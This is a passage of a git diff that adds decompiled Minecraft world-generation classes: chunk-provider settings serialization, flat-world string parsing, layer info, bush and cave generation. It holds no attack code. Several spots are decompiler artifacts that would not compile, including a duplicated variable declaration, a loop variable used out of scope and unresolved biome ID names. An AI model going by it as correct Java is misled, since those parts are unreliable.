+        field_177940_z = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useMonuments", field_177940_z);
+        field_177870_A = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useRavines", field_177870_A);
+        field_177871_B = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useWaterLakes", field_177871_B);
+        field_177872_C = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "waterLakeChance", field_177872_C);
+        field_177866_D = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useLavaLakes", field_177866_D);
+        field_177867_E = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "lavaLakeChance", field_177867_E);
+        field_177868_F = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var4, "useLavaOceans", field_177868_F);
+        field_177869_G = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "fixedBiome", field_177869_G);
+        
+        if ((field_177869_G < 38) && (field_177869_G >= -1))
+        {
+          if (field_177869_G >= hellbiomeID)
+          {
+            field_177869_G += 2;
+          }
+          
+        }
+        else {
+          field_177869_G = -1;
+        }
+        
+        field_177877_H = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "biomeSize", field_177877_H);
+        field_177878_I = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "riverSize", field_177878_I);
+        field_177879_J = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "dirtSize", field_177879_J);
+        field_177880_K = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "dirtCount", field_177880_K);
+        field_177873_L = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "dirtMinHeight", field_177873_L);
+        field_177874_M = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "dirtMaxHeight", field_177874_M);
+        field_177875_N = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "gravelSize", field_177875_N);
+        field_177876_O = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "gravelCount", field_177876_O);
+        field_177886_P = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "gravelMinHeight", field_177886_P);
+        field_177885_Q = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "gravelMaxHeight", field_177885_Q);
+        field_177888_R = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "graniteSize", field_177888_R);
+        field_177887_S = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "graniteCount", field_177887_S);
+        field_177882_T = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "graniteMinHeight", field_177882_T);
+        field_177881_U = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "graniteMaxHeight", field_177881_U);
+        field_177884_V = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "dioriteSize", field_177884_V);
+        field_177883_W = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "dioriteCount", field_177883_W);
+        field_177891_X = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "dioriteMinHeight", field_177891_X);
+        field_177890_Y = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "dioriteMaxHeight", field_177890_Y);
+        field_177892_Z = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "andesiteSize", field_177892_Z);
+        field_177936_aa = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "andesiteCount", field_177936_aa);
+        field_177937_ab = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "andesiteMinHeight", field_177937_ab);
+        field_177934_ac = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "andesiteMaxHeight", field_177934_ac);
+        field_177935_ad = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "coalSize", field_177935_ad);
+        field_177941_ae = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "coalCount", field_177941_ae);
+        field_177943_af = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "coalMinHeight", field_177943_af);
+        field_177938_ag = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "coalMaxHeight", field_177938_ag);
+        field_177939_ah = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "ironSize", field_177939_ah);
+        field_177922_ai = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "ironCount", field_177922_ai);
+        field_177924_aj = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "ironMinHeight", field_177924_aj);
+        field_177918_ak = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "ironMaxHeight", field_177918_ak);
+        field_177920_al = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "goldSize", field_177920_al);
+        field_177930_am = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "goldCount", field_177930_am);
+        field_177932_an = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "goldMinHeight", field_177932_an);
+        field_177926_ao = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "goldMaxHeight", field_177926_ao);
+        field_177928_ap = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "redstoneSize", field_177928_ap);
+        field_177908_aq = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "redstoneCount", field_177908_aq);
+        field_177906_ar = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "redstoneMinHeight", field_177906_ar);
+        field_177904_as = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "redstoneMaxHeight", field_177904_as);
+        field_177902_at = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "diamondSize", field_177902_at);
+        field_177916_au = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "diamondCount", field_177916_au);
+        field_177914_av = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "diamondMinHeight", field_177914_av);
+        field_177912_aw = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "diamondMaxHeight", field_177912_aw);
+        field_177910_ax = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "lapisSize", field_177910_ax);
+        field_177897_ay = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "lapisCount", field_177897_ay);
+        field_177895_az = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "lapisCenterHeight", field_177895_az);
+        field_177889_aA = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var4, "lapisSpread", field_177889_aA);
+      }
+      catch (Exception localException) {}
+      
+
+
+
+      return var5;
+    }
+    
+    public JsonElement func_177862_a(ChunkProviderSettings.Factory p_177862_1_, Type p_177862_2_, JsonSerializationContext p_177862_3_)
+    {
+      JsonObject var4 = new JsonObject();
+      var4.addProperty("coordinateScale", Float.valueOf(field_177899_b));
+      var4.addProperty("heightScale", Float.valueOf(field_177900_c));
+      var4.addProperty("lowerLimitScale", Float.valueOf(field_177898_e));
+      var4.addProperty("upperLimitScale", Float.valueOf(field_177896_d));
+      var4.addProperty("depthNoiseScaleX", Float.valueOf(field_177893_f));
+      var4.addProperty("depthNoiseScaleZ", Float.valueOf(field_177894_g));
+      var4.addProperty("depthNoiseScaleExponent", Float.valueOf(field_177915_h));
+      var4.addProperty("mainNoiseScaleX", Float.valueOf(field_177917_i));
+      var4.addProperty("mainNoiseScaleY", Float.valueOf(field_177911_j));
+      var4.addProperty("mainNoiseScaleZ", Float.valueOf(field_177913_k));
+      var4.addProperty("baseSize", Float.valueOf(field_177907_l));
+      var4.addProperty("stretchY", Float.valueOf(field_177909_m));
+      var4.addProperty("biomeDepthWeight", Float.valueOf(field_177903_n));
+      var4.addProperty("biomeDepthOffset", Float.valueOf(field_177905_o));
+      var4.addProperty("biomeScaleWeight", Float.valueOf(field_177933_p));
+      var4.addProperty("biomeScaleOffset", Float.valueOf(field_177931_q));
+      var4.addProperty("seaLevel", Integer.valueOf(field_177929_r));
+      var4.addProperty("useCaves", Boolean.valueOf(field_177927_s));
+      var4.addProperty("useDungeons", Boolean.valueOf(field_177925_t));
+      var4.addProperty("dungeonChance", Integer.valueOf(field_177923_u));
+      var4.addProperty("useStrongholds", Boolean.valueOf(field_177921_v));
+      var4.addProperty("useVillages", Boolean.valueOf(field_177919_w));
+      var4.addProperty("useMineShafts", Boolean.valueOf(field_177944_x));
+      var4.addProperty("useTemples", Boolean.valueOf(field_177942_y));
+      var4.addProperty("useMonuments", Boolean.valueOf(field_177940_z));
+      var4.addProperty("useRavines", Boolean.valueOf(field_177870_A));
+      var4.addProperty("useWaterLakes", Boolean.valueOf(field_177871_B));
+      var4.addProperty("waterLakeChance", Integer.valueOf(field_177872_C));
+      var4.addProperty("useLavaLakes", Boolean.valueOf(field_177866_D));
+      var4.addProperty("lavaLakeChance", Integer.valueOf(field_177867_E));
+      var4.addProperty("useLavaOceans", Boolean.valueOf(field_177868_F));
+      var4.addProperty("fixedBiome", Integer.valueOf(field_177869_G));
+      var4.addProperty("biomeSize", Integer.valueOf(field_177877_H));
+      var4.addProperty("riverSize", Integer.valueOf(field_177878_I));
+      var4.addProperty("dirtSize", Integer.valueOf(field_177879_J));
+      var4.addProperty("dirtCount", Integer.valueOf(field_177880_K));
+      var4.addProperty("dirtMinHeight", Integer.valueOf(field_177873_L));
+      var4.addProperty("dirtMaxHeight", Integer.valueOf(field_177874_M));
+      var4.addProperty("gravelSize", Integer.valueOf(field_177875_N));
+      var4.addProperty("gravelCount", Integer.valueOf(field_177876_O));
+      var4.addProperty("gravelMinHeight", Integer.valueOf(field_177886_P));
+      var4.addProperty("gravelMaxHeight", Integer.valueOf(field_177885_Q));
+      var4.addProperty("graniteSize", Integer.valueOf(field_177888_R));
+      var4.addProperty("graniteCount", Integer.valueOf(field_177887_S));
+      var4.addProperty("graniteMinHeight", Integer.valueOf(field_177882_T));
+      var4.addProperty("graniteMaxHeight", Integer.valueOf(field_177881_U));
+      var4.addProperty("dioriteSize", Integer.valueOf(field_177884_V));
+      var4.addProperty("dioriteCount", Integer.valueOf(field_177883_W));
+      var4.addProperty("dioriteMinHeight", Integer.valueOf(field_177891_X));
+      var4.addProperty("dioriteMaxHeight", Integer.valueOf(field_177890_Y));
+      var4.addProperty("andesiteSize", Integer.valueOf(field_177892_Z));
+      var4.addProperty("andesiteCount", Integer.valueOf(field_177936_aa));
+      var4.addProperty("andesiteMinHeight", Integer.valueOf(field_177937_ab));
+      var4.addProperty("andesiteMaxHeight", Integer.valueOf(field_177934_ac));
+      var4.addProperty("coalSize", Integer.valueOf(field_177935_ad));
+      var4.addProperty("coalCount", Integer.valueOf(field_177941_ae));
+      var4.addProperty("coalMinHeight", Integer.valueOf(field_177943_af));
+      var4.addProperty("coalMaxHeight", Integer.valueOf(field_177938_ag));
+      var4.addProperty("ironSize", Integer.valueOf(field_177939_ah));
+      var4.addProperty("ironCount", Integer.valueOf(field_177922_ai));
+      var4.addProperty("ironMinHeight", Integer.valueOf(field_177924_aj));
+      var4.addProperty("ironMaxHeight", Integer.valueOf(field_177918_ak));
+      var4.addProperty("goldSize", Integer.valueOf(field_177920_al));
+      var4.addProperty("goldCount", Integer.valueOf(field_177930_am));
+      var4.addProperty("goldMinHeight", Integer.valueOf(field_177932_an));
+      var4.addProperty("goldMaxHeight", Integer.valueOf(field_177926_ao));
+      var4.addProperty("redstoneSize", Integer.valueOf(field_177928_ap));
+      var4.addProperty("redstoneCount", Integer.valueOf(field_177908_aq));
+      var4.addProperty("redstoneMinHeight", Integer.valueOf(field_177906_ar));
+      var4.addProperty("redstoneMaxHeight", Integer.valueOf(field_177904_as));
+      var4.addProperty("diamondSize", Integer.valueOf(field_177902_at));
+      var4.addProperty("diamondCount", Integer.valueOf(field_177916_au));
+      var4.addProperty("diamondMinHeight", Integer.valueOf(field_177914_av));
+      var4.addProperty("diamondMaxHeight", Integer.valueOf(field_177912_aw));
+      var4.addProperty("lapisSize", Integer.valueOf(field_177910_ax));
+      var4.addProperty("lapisCount", Integer.valueOf(field_177897_ay));
+      var4.addProperty("lapisCenterHeight", Integer.valueOf(field_177895_az));
+      var4.addProperty("lapisSpread", Integer.valueOf(field_177889_aA));
+      return var4;
+    }
+    
+    public Object deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+    {
+      return func_177861_a(p_deserialize_1_, p_deserialize_2_, p_deserialize_3_);
+    }
+    
+    public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+    {
+      return func_177862_a((ChunkProviderSettings.Factory)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/FlatGeneratorInfo.java b/src/minecraft/net/minecraft/world/gen/FlatGeneratorInfo.java
new file mode 100644
index 0000000..2baafd2
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/FlatGeneratorInfo.java
@@ -0,0 +1,355 @@
+package net.minecraft.world.gen;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class FlatGeneratorInfo
+{
+  private final List flatLayers = Lists.newArrayList();
+  
+
+  private final Map worldFeatures = Maps.newHashMap();
+  
+  private int biomeToUse;
+  private static final String __OBFID = "CL_00000440";
+  
+  public FlatGeneratorInfo() {}
+  
+  public int getBiome()
+  {
+    return biomeToUse;
+  }
+  
+
+
+
+  public void setBiome(int p_82647_1_)
+  {
+    biomeToUse = p_82647_1_;
+  }
+  
+
+
+
+  public Map getWorldFeatures()
+  {
+    return worldFeatures;
+  }
+  
+
+
+
+  public List getFlatLayers()
+  {
+    return flatLayers;
+  }
+  
+  public void func_82645_d()
+  {
+    int var1 = 0;
+    
+    FlatLayerInfo var3;
+    for (Iterator var2 = flatLayers.iterator(); var2.hasNext(); var1 += var3.getLayerCount())
+    {
+      var3 = (FlatLayerInfo)var2.next();
+      var3.setMinY(var1);
+    }
+  }
+  
+  public String toString()
+  {
+    StringBuilder var1 = new StringBuilder();
+    var1.append(3);
+    var1.append(";");
+    
+
+    for (int var2 = 0; var2 < flatLayers.size(); var2++)
+    {
+      if (var2 > 0)
+      {
+        var1.append(",");
+      }
+      
+      var1.append(((FlatLayerInfo)flatLayers.get(var2)).toString());
+    }
+    
+    var1.append(";");
+    var1.append(biomeToUse);
+    
+    if (!worldFeatures.isEmpty())
+    {
+      var1.append(";");
+      var2 = 0;
+      Iterator var3 = worldFeatures.entrySet().iterator();
+      
+      while (var3.hasNext())
+      {
+        Map.Entry var4 = (Map.Entry)var3.next();
+        
+        if (var2++ > 0)
+        {
+          var1.append(",");
+        }
+        
+        var1.append(((String)var4.getKey()).toLowerCase());
+        Map var5 = (Map)var4.getValue();
+        
+        if (!var5.isEmpty())
+        {
+          var1.append("(");
+          int var6 = 0;
+          Iterator var7 = var5.entrySet().iterator();
+          
+          while (var7.hasNext())
+          {
+            Map.Entry var8 = (Map.Entry)var7.next();
+            
+            if (var6++ > 0)
+            {
+              var1.append(" ");
+            }
+            
+            var1.append((String)var8.getKey());
+            var1.append("=");
+            var1.append((String)var8.getValue());
+          }
+          
+          var1.append(")");
+        }
+      }
+    }
+    else
+    {
+      var1.append(";");
+    }
+    
+    return var1.toString();
+  }
+  
+  private static FlatLayerInfo func_180715_a(int p_180715_0_, String p_180715_1_, int p_180715_2_)
+  {
+    String[] var3 = p_180715_0_ >= 3 ? p_180715_1_.split("\\*", 2) : p_180715_1_.split("x", 2);
+    int var4 = 1;
+    int var5 = 0;
+    
+    if (var3.length == 2)
+    {
+      try
+      {
+        var4 = Integer.parseInt(var3[0]);
+        
+        if (p_180715_2_ + var4 >= 256)
+        {
+          var4 = 256 - p_180715_2_;
+        }
+        
+        if (var4 < 0)
+        {
+          var4 = 0;
+        }
+      }
+      catch (Throwable var8)
+      {
+        return null;
+      }
+    }
+    
+    Block var6 = null;
+    
+    try
+    {
+      String var7 = var3[(var3.length - 1)];
+      
+      if (p_180715_0_ < 3)
+      {
+        var3 = var7.split(":", 2);
+        
+        if (var3.length > 1)
+        {
+          var5 = Integer.parseInt(var3[1]);
+        }
+        
+        var6 = Block.getBlockById(Integer.parseInt(var3[0]));
+      }
+      else
+      {
+        var3 = var7.split(":", 3);
+        var6 = var3.length > 1 ? Block.getBlockFromName(var3[0] + ":" + var3[1]) : null;
+        
+        if (var6 != null)
+        {
+          var5 = var3.length > 2 ? Integer.parseInt(var3[2]) : 0;
+        }
+        else
+        {
+          var6 = Block.getBlockFromName(var3[0]);
+          
+          if (var6 != null)
+          {
+            var5 = var3.length > 1 ? Integer.parseInt(var3[1]) : 0;
+          }
+        }
+        
+        if (var6 == null)
+        {
+          return null;
+        }
+      }
+      
+      if (var6 == Blocks.air)
+      {
+        var5 = 0;
+      }
+      
+      if ((var5 < 0) || (var5 > 15))
+      {
+        var5 = 0;
+      }
+    }
+    catch (Throwable var9)
+    {
+      return null;
+    }
+    
+    FlatLayerInfo var10 = new FlatLayerInfo(p_180715_0_, var4, var6, var5);
+    var10.setMinY(p_180715_2_);
+    return var10;
+  }
+  
+  private static List func_180716_a(int p_180716_0_, String p_180716_1_)
+  {
+    if ((p_180716_1_ != null) && (p_180716_1_.length() >= 1))
+    {
+      ArrayList var2 = Lists.newArrayList();
+      String[] var3 = p_180716_1_.split(",");
+      int var4 = 0;
+      String[] var5 = var3;
+      int var6 = var3.length;
+      
+      for (int var7 = 0; var7 < var6; var7++)
+      {
+        String var8 = var5[var7];
+        FlatLayerInfo var9 = func_180715_a(p_180716_0_, var8, var4);
+        
+        if (var9 == null)
+        {
+          return null;
+        }
+        
+        var2.add(var9);
+        var4 += var9.getLayerCount();
+      }
+      
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+  public static FlatGeneratorInfo createFlatGeneratorFromString(String p_82651_0_)
+  {
+    if (p_82651_0_ == null)
+    {
+      return getDefaultFlatGenerator();
+    }
+    
+
+    String[] var1 = p_82651_0_.split(";", -1);
+    int var2 = var1.length == 1 ? 0 : MathHelper.parseIntWithDefault(var1[0], 0);
+    
+    if ((var2 >= 0) && (var2 <= 3))
+    {
+      FlatGeneratorInfo var3 = new FlatGeneratorInfo();
+      int var4 = var1.length == 1 ? 0 : 1;
+      List var5 = func_180716_a(var2, var1[(var4++)]);
+      
+      if ((var5 != null) && (!var5.isEmpty()))
+      {
+        var3.getFlatLayers().addAll(var5);
+        var3.func_82645_d();
+        int var6 = plainsbiomeID;
+        
+        if ((var2 > 0) && (var1.length > var4))
+        {
+          var6 = MathHelper.parseIntWithDefault(var1[(var4++)], var6);
+        }
+        
+        var3.setBiome(var6);
+        
+        if ((var2 > 0) && (var1.length > var4))
+        {
+          String[] var7 = var1[(var4++)].toLowerCase().split(",");
+          String[] var8 = var7;
+          int var9 = var7.length;
+          
+          for (int var10 = 0; var10 < var9; var10++)
+          {
+            String var11 = var8[var10];
+            String[] var12 = var11.split("\\(", 2);
+            HashMap var13 = Maps.newHashMap();
+            
+            if (var12[0].length() > 0)
+            {
+              var3.getWorldFeatures().put(var12[0], var13);
+              
+              if ((var12.length > 1) && (var12[1].endsWith(")")) && (var12[1].length() > 1))
+              {
+                String[] var14 = var12[1].substring(0, var12[1].length() - 1).split(" ");
+                
+                for (int var15 = 0; var15 < var14.length; var15++)
+                {
+                  String[] var16 = var14[var15].split("=", 2);
+                  
+                  if (var16.length == 2)
+                  {
+                    var13.put(var16[0], var16[1]);
+                  }
+                }
+              }
+            }
+          }
+        }
+        else
+        {
+          var3.getWorldFeatures().put("village", Maps.newHashMap());
+        }
+        
+        return var3;
+      }
+      
+
+      return getDefaultFlatGenerator();
+    }
+    
+
+
+    return getDefaultFlatGenerator();
+  }
+  
+
+
+  public static FlatGeneratorInfo getDefaultFlatGenerator()
+  {
+    FlatGeneratorInfo var0 = new FlatGeneratorInfo();
+    var0.setBiome(plainsbiomeID);
+    var0.getFlatLayers().add(new FlatLayerInfo(1, Blocks.bedrock));
+    var0.getFlatLayers().add(new FlatLayerInfo(2, Blocks.dirt));
+    var0.getFlatLayers().add(new FlatLayerInfo(1, Blocks.grass));
+    var0.func_82645_d();
+    var0.getWorldFeatures().put("village", Maps.newHashMap());
+    return var0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/FlatLayerInfo.java b/src/minecraft/net/minecraft/world/gen/FlatLayerInfo.java
new file mode 100644
index 0000000..c41caaf
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/FlatLayerInfo.java
@@ -0,0 +1,111 @@
+package net.minecraft.world.gen;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+
+
+public class FlatLayerInfo
+{
+  private final int field_175902_a;
+  private IBlockState field_175901_b;
+  private int layerCount;
+  private int layerMinimumY;
+  private static final String __OBFID = "CL_00000441";
+  
+  public FlatLayerInfo(int p_i45467_1_, Block p_i45467_2_)
+  {
+    this(3, p_i45467_1_, p_i45467_2_);
+  }
+  
+  public FlatLayerInfo(int p_i45627_1_, int p_i45627_2_, Block p_i45627_3_)
+  {
+    layerCount = 1;
+    field_175902_a = p_i45627_1_;
+    layerCount = p_i45627_2_;
+    field_175901_b = p_i45627_3_.getDefaultState();
+  }
+  
+  public FlatLayerInfo(int p_i45628_1_, int p_i45628_2_, Block p_i45628_3_, int p_i45628_4_)
+  {
+    this(p_i45628_1_, p_i45628_2_, p_i45628_3_);
+    field_175901_b = p_i45628_3_.getStateFromMeta(p_i45628_4_);
+  }
+  
+
+
+
+  public int getLayerCount()
+  {
+    return layerCount;
+  }
+  
+  public IBlockState func_175900_c()
+  {
+    return field_175901_b;
+  }
+  
+  private Block func_151536_b()
+  {
+    return field_175901_b.getBlock();
+  }
+  
+
+
+
+  private int getFillBlockMeta()
+  {
+    return field_175901_b.getBlock().getMetaFromState(field_175901_b);
+  }
+  
+
+
+
+  public int getMinY()
+  {
+    return layerMinimumY;
+  }
+  
+
+
+
+  public void setMinY(int p_82660_1_)
+  {
+    layerMinimumY = p_82660_1_;
+  }
+  
+
+  public String toString()
+  {
+    String var1;
+    if (field_175902_a >= 3)
+    {
+      ResourceLocation var2 = (ResourceLocation)Block.blockRegistry.getNameForObject(func_151536_b());
+      String var1 = var2 == null ? "null" : var2.toString();
+      
+      if (layerCount > 1)
+      {
+        var1 = layerCount + "*" + var1;
+      }
+    }
+    else
+    {
+      var1 = Integer.toString(Block.getIdFromBlock(func_151536_b()));
+      
+      if (layerCount > 1)
+      {
+        var1 = layerCount + "x" + var1;
+      }
+    }
+    
+    int var3 = getFillBlockMeta();
+    
+    if (var3 > 0)
+    {
+      var1 = var1 + ":" + var3;
+    }
+    
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/GeneratorBushFeature.java b/src/minecraft/net/minecraft/world/gen/GeneratorBushFeature.java
new file mode 100644
index 0000000..116ed46
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/GeneratorBushFeature.java
@@ -0,0 +1,33 @@
+package net.minecraft.world.gen;
+
+import java.util.Random;
+import net.minecraft.block.BlockBush;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.feature.WorldGenerator;
+
+public class GeneratorBushFeature extends WorldGenerator
+{
+  private BlockBush field_175908_a;
+  private static final String __OBFID = "CL_00002000";
+  
+  public GeneratorBushFeature(BlockBush p_i45633_1_)
+  {
+    field_175908_a = p_i45633_1_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (int var4 = 0; var4 < 64; var4++)
+    {
+      BlockPos var5 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if ((worldIn.isAirBlock(var5)) && ((!provider.getHasNoSky()) || (var5.getY() < 255)) && (field_175908_a.canBlockStay(worldIn, var5, field_175908_a.getDefaultState())))
+      {
+        worldIn.setBlockState(var5, field_175908_a.getDefaultState(), 2);
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/MapGenBase.java b/src/minecraft/net/minecraft/world/gen/MapGenBase.java
new file mode 100644
index 0000000..a99e9f9
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/MapGenBase.java
@@ -0,0 +1,41 @@
+package net.minecraft.world.gen;
+
+import java.util.Random;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.chunk.IChunkProvider;
+
+
+public class MapGenBase
+{
+  protected int range = 8;
+  
+
+  protected Random rand = new Random();
+  protected World worldObj;
+  private static final String __OBFID = "CL_00000394";
+  
+  public MapGenBase() {}
+  
+  public void func_175792_a(IChunkProvider p_175792_1_, World worldIn, int p_175792_3_, int p_175792_4_, ChunkPrimer p_175792_5_)
+  {
+    int var6 = range;
+    worldObj = worldIn;
+    rand.setSeed(worldIn.getSeed());
+    long var7 = rand.nextLong();
+    long var9 = rand.nextLong();
+    
+    for (int var11 = p_175792_3_ - var6; var11 <= p_175792_3_ + var6; var11++)
+    {
+      for (int var12 = p_175792_4_ - var6; var12 <= p_175792_4_ + var6; var12++)
+      {
+        long var13 = var11 * var7;
+        long var15 = var12 * var9;
+        rand.setSeed(var13 ^ var15 ^ worldIn.getSeed());
+        func_180701_a(worldIn, var11, var12, p_175792_3_, p_175792_4_, p_175792_5_);
+      }
+    }
+  }
+  
+  protected void func_180701_a(World worldIn, int p_180701_2_, int p_180701_3_, int p_180701_4_, int p_180701_5_, ChunkPrimer p_180701_6_) {}
+}
diff --git a/src/minecraft/net/minecraft/world/gen/MapGenCaves.java b/src/minecraft/net/minecraft/world/gen/MapGenCaves.java
new file mode 100644
index 0000000..caa1dd1
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/MapGenCaves.java
@@ -0,0 +1,264 @@
+package net.minecraft.world.gen;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockSand.EnumType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+
+public class MapGenCaves extends MapGenBase
+{
+  private static final String __OBFID = "CL_00000393";
+  
+  public MapGenCaves() {}
+  
+  protected void func_180703_a(long p_180703_1_, int p_180703_3_, int p_180703_4_, ChunkPrimer p_180703_5_, double p_180703_6_, double p_180703_8_, double p_180703_10_)
+  {
+    func_180702_a(p_180703_1_, p_180703_3_, p_180703_4_, p_180703_5_, p_180703_6_, p_180703_8_, p_180703_10_, 1.0F + rand.nextFloat() * 6.0F, 0.0F, 0.0F, -1, -1, 0.5D);
+  }
+  
+  protected void func_180702_a(long p_180702_1_, int p_180702_3_, int p_180702_4_, ChunkPrimer p_180702_5_, double p_180702_6_, double p_180702_8_, double p_180702_10_, float p_180702_12_, float p_180702_13_, float p_180702_14_, int p_180702_15_, int p_180702_16_, double p_180702_17_)
+  {
+    double var19 = p_180702_3_ * 16 + 8;
+    double var21 = p_180702_4_ * 16 + 8;
+    float var23 = 0.0F;
+    float var24 = 0.0F;
+    Random var25 = new Random(p_180702_1_);
+    
+    if (p_180702_16_ <= 0)
+    {
+      int var26 = range * 16 - 16;
+      p_180702_16_ = var26 - var25.nextInt(var26 / 4);
+    }
+    
+    boolean var54 = false;
+    
+    if (p_180702_15_ == -1)
+    {
+      p_180702_15_ = p_180702_16_ / 2;
+      var54 = true;
+    }
+    
+    int var27 = var25.nextInt(p_180702_16_ / 2) + p_180702_16_ / 4;
+    
+    for (boolean var28 = var25.nextInt(6) == 0; p_180702_15_ < p_180702_16_; p_180702_15_++)
+    {
+      double var29 = 1.5D + MathHelper.sin(p_180702_15_ * 3.1415927F / p_180702_16_) * p_180702_12_ * 1.0F;
+      double var31 = var29 * p_180702_17_;
+      float var33 = MathHelper.cos(p_180702_14_);
+      float var34 = MathHelper.sin(p_180702_14_);
+      p_180702_6_ += MathHelper.cos(p_180702_13_) * var33;
+      p_180702_8_ += var34;
+      p_180702_10_ += MathHelper.sin(p_180702_13_) * var33;
+      
+      if (var28)
+      {
+        p_180702_14_ *= 0.92F;
+      }
+      else
+      {
+        p_180702_14_ *= 0.7F;
+      }
+      
+      p_180702_14_ += var24 * 0.1F;
+      p_180702_13_ += var23 * 0.1F;
+      var24 *= 0.9F;
+      var23 *= 0.75F;
+      var24 += (var25.nextFloat() - var25.nextFloat()) * var25.nextFloat() * 2.0F;
+      var23 += (var25.nextFloat() - var25.nextFloat()) * var25.nextFloat() * 4.0F;
+      
+      if ((!var54) && (p_180702_15_ == var27) && (p_180702_12_ > 1.0F) && (p_180702_16_ > 0))
+      {
+        func_180702_a(var25.nextLong(), p_180702_3_, p_180702_4_, p_180702_5_, p_180702_6_, p_180702_8_, p_180702_10_, var25.nextFloat() * 0.5F + 0.5F, p_180702_13_ - 1.5707964F, p_180702_14_ / 3.0F, p_180702_15_, p_180702_16_, 1.0D);
+        func_180702_a(var25.nextLong(), p_180702_3_, p_180702_4_, p_180702_5_, p_180702_6_, p_180702_8_, p_180702_10_, var25.nextFloat() * 0.5F + 0.5F, p_180702_13_ + 1.5707964F, p_180702_14_ / 3.0F, p_180702_15_, p_180702_16_, 1.0D);
+        return;
+      }
+      
